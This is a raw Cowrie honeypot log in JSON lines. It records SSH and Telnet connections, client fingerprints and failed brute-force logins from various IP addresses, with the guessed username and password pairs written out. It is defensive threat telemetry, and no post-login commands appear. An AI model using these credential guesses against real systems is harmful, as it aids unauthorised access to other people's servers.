{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:45.446678Z","src_ip":"160.174.129.232","session":"e754998d5f63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":50162,"dst_ip":"159.203.135.109","dst_port":22,"session":"919c5af3c23f","protocol":"ssh","message":"New connection: 103.172.78.219:50162 (159.203.135.109:22) [session: 919c5af3c23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:45.905402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:45.909725Z","src_ip":"103.172.78.219","session":"919c5af3c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX","message":"login attempt [root/1QAZ2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:46.065646Z","src_ip":"160.174.129.232","session":"e754998d5f63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:46.172107Z","src_ip":"103.172.78.219","session":"919c5af3c23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15091980","message":"login attempt [root/15091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:46.961845Z","src_ip":"103.172.78.219","session":"919c5af3c23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:47.241565Z","src_ip":"160.174.129.232","session":"e754998d5f63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:48.227176Z","src_ip":"103.172.78.219","session":"919c5af3c23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":56542,"dst_ip":"159.203.135.109","dst_port":22,"session":"25b108f40e82","protocol":"ssh","message":"New connection: 159.65.58.200:56542 (159.203.135.109:22) [session: 25b108f40e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:53.795413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:53.931313Z","src_ip":"159.65.58.200","session":"25b108f40e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:53.934736Z","src_ip":"159.65.58.200","session":"25b108f40e82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sereda","password":"123456","message":"login attempt [sereda/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:55.093474Z","src_ip":"159.65.58.200","session":"25b108f40e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:40:56.387654Z","src_ip":"159.65.58.200","session":"25b108f40e82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":46820,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f99c605cd7b","protocol":"ssh","message":"New connection: 89.223.69.22:46820 (10.17.0.5:22) [session: 9f99c605cd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:00.403212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:00.407518Z","src_ip":"89.223.69.22","session":"9f99c605cd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:00.516782Z","src_ip":"89.223.69.22","session":"9f99c605cd7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"30061982","message":"login attempt [root/30061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:00.845263Z","src_ip":"89.223.69.22","session":"9f99c605cd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:01.958085Z","src_ip":"89.223.69.22","session":"9f99c605cd7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.10112690925598,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:15.113005Z","src_ip":"170.64.224.25","session":"4b4cea45fead","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":42774,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3eebef24e9d","protocol":"ssh","message":"New connection: 34.123.134.194:42774 (159.203.135.109:22) [session: d3eebef24e9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:16.373470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:16.377524Z","src_ip":"34.123.134.194","session":"d3eebef24e9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:16.413581Z","src_ip":"34.123.134.194","session":"d3eebef24e9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yes","password":"yes","message":"login attempt [yes/yes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:16.689600Z","src_ip":"34.123.134.194","session":"d3eebef24e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:17.845558Z","src_ip":"34.123.134.194","session":"d3eebef24e9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119113922119,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:26.404550Z","src_ip":"170.64.224.25","session":"73fea61da9fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":56606,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ad020191e4c","protocol":"telnet","message":"New connection: 170.64.224.25:56606 (159.203.135.109:23) [session: 2ad020191e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:32.845525Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":47796,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e7eba770b9","protocol":"ssh","message":"New connection: 166.62.89.133:47796 (159.203.135.109:22) [session: 95e7eba770b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:34.760004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:34.764003Z","src_ip":"166.62.89.133","session":"95e7eba770b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:34.831623Z","src_ip":"166.62.89.133","session":"95e7eba770b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1ttr3x#S3cur3!","message":"login attempt [root/B1ttr3x#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:35.029098Z","src_ip":"166.62.89.133","session":"95e7eba770b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:36.095656Z","src_ip":"166.62.89.133","session":"95e7eba770b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":48714,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3c09d8ba8d","protocol":"ssh","message":"New connection: 146.190.154.85:48714 (159.203.135.109:22) [session: 2c3c09d8ba8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:39.640036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:39.644023Z","src_ip":"146.190.154.85","session":"2c3c09d8ba8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:39.712243Z","src_ip":"146.190.154.85","session":"2c3c09d8ba8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"10d21537e135","protocol":"telnet","message":"New connection: 170.64.224.25:39712 (159.203.135.109:23) [session: 10d21537e135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:39.855024Z"}
{"eventid":"cowrie.login.failed","username":"igra","password":"igra123","message":"login attempt [igra/igra123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:40.020631Z","src_ip":"146.190.154.85","session":"2c3c09d8ba8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:41.102170Z","src_ip":"146.190.154.85","session":"2c3c09d8ba8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59582,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c7d45661ba","protocol":"telnet","message":"New connection: 170.64.224.25:59582 (159.203.135.109:23) [session: 35c7d45661ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:52.153557Z"}
{"eventid":"cowrie.session.closed","duration":14.847287654876709,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:54.702217Z","src_ip":"170.64.224.25","session":"10d21537e135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":55500,"dst_ip":"10.17.0.5","dst_port":22,"session":"cece18df1277","protocol":"ssh","message":"New connection: 138.197.164.175:55500 (10.17.0.5:22) [session: cece18df1277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:56.159318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:56.162965Z","src_ip":"138.197.164.175","session":"cece18df1277","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:56.181257Z","src_ip":"138.197.164.175","session":"cece18df1277","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"qwer1234","message":"login attempt [hadoop/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:56.290352Z","src_ip":"138.197.164.175","session":"cece18df1277","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:41:57.311019Z","src_ip":"138.197.164.175","session":"cece18df1277","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":54362,"dst_ip":"159.203.135.109","dst_port":22,"session":"28507cedbacd","protocol":"ssh","message":"New connection: 154.18.197.35:54362 (159.203.135.109:22) [session: 28507cedbacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:42:08.321756Z"}
